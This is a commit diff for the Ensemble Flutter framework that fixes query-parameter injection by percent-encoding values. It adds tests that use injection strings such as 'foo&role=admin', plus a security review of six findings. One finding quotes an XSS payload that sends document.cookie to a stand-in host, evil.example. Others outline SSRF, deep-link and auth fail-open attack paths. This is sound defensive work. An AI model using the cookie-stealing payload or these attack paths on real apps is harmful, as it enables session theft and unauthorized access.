fix(security): percent-encode API query parameters to prevent injection

modules/ensemble/lib/framework/apiproviders/api_url_utils.dart

@@ -0,0 +1,14 @@
+import 'package:meta/meta.dart';
+
+/// Appends [params] to [url] with percent-encoding so values cannot inject
+/// additional query pairs via `&` or `=`.
+@visibleForTesting
+String appendEncodedQueryParameters(String url, Map<String, String> params) {
+  if (params.isEmpty) {
+    return url;
+  }
+  final uri = Uri.parse(url);
+  final merged = Map<String, String>.from(uri.queryParameters);
+  merged.addAll(params);
+  return uri.replace(queryParameters: merged).toString();
+}

modules/ensemble/lib/framework/apiproviders/http_api_provider.dart

@@ -2,6 +2,7 @@ import 'dart:io';
 
 import 'package:crypto/crypto.dart';
 import 'package:ensemble/framework/apiproviders/api_provider.dart';
+import 'package:ensemble/framework/apiproviders/api_url_utils.dart';
 import 'dart:async';
 import 'dart:convert';
 import 'dart:developer';
@@ -138,13 +139,7 @@ class HTTPAPIProvider extends APIProvider {
 
     // params should be appended to the URL for GET and DELETE
     if (method == 'GET' || method == 'DELETE') {
-      if (params.isNotEmpty) {
-        StringBuffer urlParams = StringBuffer(url.contains('?') ? '' : '?');
-        params.forEach((key, value) {
-          urlParams.write('&$key=$value');
-        });
-        url += urlParams.toString();
-      }
+      url = appendEncodedQueryParameters(url, params);
       log("$method $url");
     } else {
       log("$method $url");

modules/ensemble/lib/framework/apiproviders/sse_api_provider.dart

@@ -5,6 +5,7 @@ import 'dart:io';
 
 import 'package:ensemble/ensemble.dart';
 import 'package:ensemble/framework/apiproviders/api_provider.dart';
+import 'package:ensemble/framework/apiproviders/api_url_utils.dart';
 import 'package:ensemble/framework/apiproviders/http_api_provider.dart';
 import 'package:ensemble/framework/data_context.dart';
 import 'package:ensemble/framework/error_handling.dart';
@@ -133,13 +134,7 @@ class SSEAPIProvider extends APIProvider with LiveAPIProvider {
     }
 
     // Append query parameters to URL
-    if (params.isNotEmpty) {
-      StringBuffer urlParams = StringBuffer(url.contains('?') ? '' : '?');
-      params.forEach((key, value) {
-        urlParams.write('&$key=$value');
-      });
-      url += urlParams.toString();
-    }
+    url = appendEncodedQueryParameters(url, params);
 
     log("SSE GET $url");
 

modules/ensemble/test/api_query_param_security_test.dart

@@ -0,0 +1,46 @@
+import 'package:ensemble/framework/apiproviders/api_url_utils.dart';
+import 'package:flutter_test/flutter_test.dart';
+
+void main() {
+  group('appendEncodedQueryParameters', () {
+    test('percent-encodes values so extra query params cannot be injected', () {
+      const url = 'https://api.example.com/search';
+      const maliciousValue = 'foo&role=admin';
+
+      final result = appendEncodedQueryParameters(url, {
+        'q': maliciousValue,
+        'limit': '10',
+      });
+
+      final uri = Uri.parse(result);
+      expect(uri.queryParameters['q'], maliciousValue);
+      expect(uri.queryParameters['limit'], '10');
+      expect(uri.queryParameters.containsKey('role'), isFalse);
+      expect(result, contains('q=foo%26role%3Dadmin'));
+    });
+
+    test('merges with existing query parameters on the base URL', () {
+      const url = 'https://api.example.com/items?filter=active';
+      const injectedValue = 'x&deleted=true';
+
+      final result = appendEncodedQueryParameters(url, {'name': injectedValue});
+
+      final uri = Uri.parse(result);
+      expect(uri.queryParameters['filter'], 'active');
+      expect(uri.queryParameters['name'], injectedValue);
+      expect(uri.queryParameters.containsKey('deleted'), isFalse);
+    });
+
+    test('encodes parameter keys', () {
+      const url = 'https://api.example.com/data';
+      const key = 'meta&extra=1';
+
+      final result =
+          appendEncodedQueryParameters(url, {key: 'value'});
+
+      final uri = Uri.parse(result);
+      expect(uri.queryParameters[key], 'value');
+      expect(uri.queryParameters.containsKey('extra'), isFalse);
+    });
+  });
+}

security-review-2026-06-24.md

@@ -0,0 +1,65 @@
+# Application Security Review — 2026-06-24
+
+## Summary
+
+Two validated medium+ vulnerabilities fixed with separate branches/PRs. Four additional validated issues documented without PRs (require product/security owner input or broader architectural changes).
+
+## Findings with fixes
+
+### 1. invokeAPI / SSE query parameter injection — Medium
+
+- **Location:** `modules/ensemble/lib/framework/apiproviders/http_api_provider.dart`, `sse_api_provider.dart`
+- **Attacker:** External user whose input flows into API `parameters` via YAML expression evaluation (e.g. `${searchInput}`)
+- **Controlled input:** Parameter values containing `&` or `=` (e.g. `foo&role=admin`)
+- **Attack path:** User input → `invokeAPI` GET/DELETE parameters → unencoded URL concatenation → backend receives injected query pairs
+- **Impact:** HTTP parameter pollution; may bypass filters, alter authorization checks, or change API semantics on backends with inconsistent parameter precedence
+- **Remediation:** `appendEncodedQueryParameters()` using `Uri.replace(queryParameters:)`
+- **PR status:** PR created — https://github.com/EnsembleUI/ensemble/pull/2301
+
+### 2. Chart.js config injection into eval/HTML — High
+
+- **Location:** `modules/ensemble/lib/widget/visualization/chart_js/web/chart_js_state.dart`, `modules/ensemble/lib/util/chart_utils.dart`
+- **Attacker:** External party controlling API response data or user input bound to ChartJs `config`
+- **Controlled input:** Malicious string such as `{});fetch('https://evil.example?c='+document.cookie);//`
+- **Attack path:** Untrusted string config → interpolated into `JsWidget.scriptToInstantiate` → browser `eval()` → arbitrary JS in app origin (web); same pattern in native WebView HTML
+- **Impact:** XSS on web; session/token theft; actions as the victim user within the app origin
+- **Remediation:** Validate string configs as JSON via `jsonEncode(jsonDecode(...))`; preserve trusted Map configs via `configFromMap` flag; restrict chart `id` charset
+- **PR status:** Fix branch pushed — `cursor/application-security-review-chartjs` / `security/fix-chartjs-eval-injection` (compare: https://github.com/EnsembleUI/ensemble/compare/main...cursor/application-security-review-chartjs). Automated second PR creation blocked by integration permissions; PR #2301 tool returned existing PR.
+
+## Findings without PRs
+
+### 3. OAuth/API fail-open when token missing — High
+
+- **Location:** `http_api_provider.dart` lines 47–72
+- **Attacker:** Unauthenticated user or attacker inducing auth failure (cancel OAuth, expired token)
+- **Attack path:** API configured with `authorization.oauthId` → `authorize()` returns null → request sent without `Authorization` header
+- **Impact:** Sensitive API calls may reach backend unauthenticated if server assumes client always attaches tokens when configured
+- **Remediation:** Fail closed — abort request when authorization is configured but token resolution fails
+- **PR status:** No PR created: requires owner input (may break apps relying on optional auth)
+
+### 4. Unrestricted outbound HTTP (client-side SSRF) — Medium–High
+
+- **Location:** `http_api_provider.dart`, `invokablefetch.dart`, `save_file.dart`
+- **Attacker:** Malicious/compromised app definition author or script with expression control
+- **Attack path:** Evaluated URL → `http.get/post` to internal IPs, cloud metadata, localhost
+- **Impact:** Probe internal networks from user devices; exfiltrate data via attacker endpoints
+- **Remediation:** URL allowlist / block RFC1918, link-local, metadata IPs on native
+- **PR status:** No PR created: requires owner input (policy definition)
+
+### 5. Server credentials stored in non-secure GetStorage — High
+
+- **Location:** `modules/auth/lib/signin/auth_manager.dart`, `auth_context_manager.dart` (TODO in code)
+- **Attacker:** Device attacker (root/jailbreak, physical access, malware)
+- **Attack path:** Bearer tokens in `user.data` persisted via GetStorage
+- **Impact:** Credential theft from device storage
+- **Remediation:** Move server credentials to secure storage
+- **PR status:** No PR created: requires owner input (auth module migration)
+
+### 6. Deep link screen navigation without allowlist — Medium
+
+- **Location:** `modules/ensemble/lib/deep_link_manager.dart`
+- **Attacker:** Anyone who can trigger a deep link (email, QR, website)
+- **Attack path:** `myapp://?screenName=AdminPanel` → `navigateToScreen` without auth gate
+- **Impact:** Access screens intended to be gated by in-app navigation/auth
+- **Remediation:** App-level allowlist or global script handler validation
+- **PR status:** No PR created: requires owner input (per-app policy)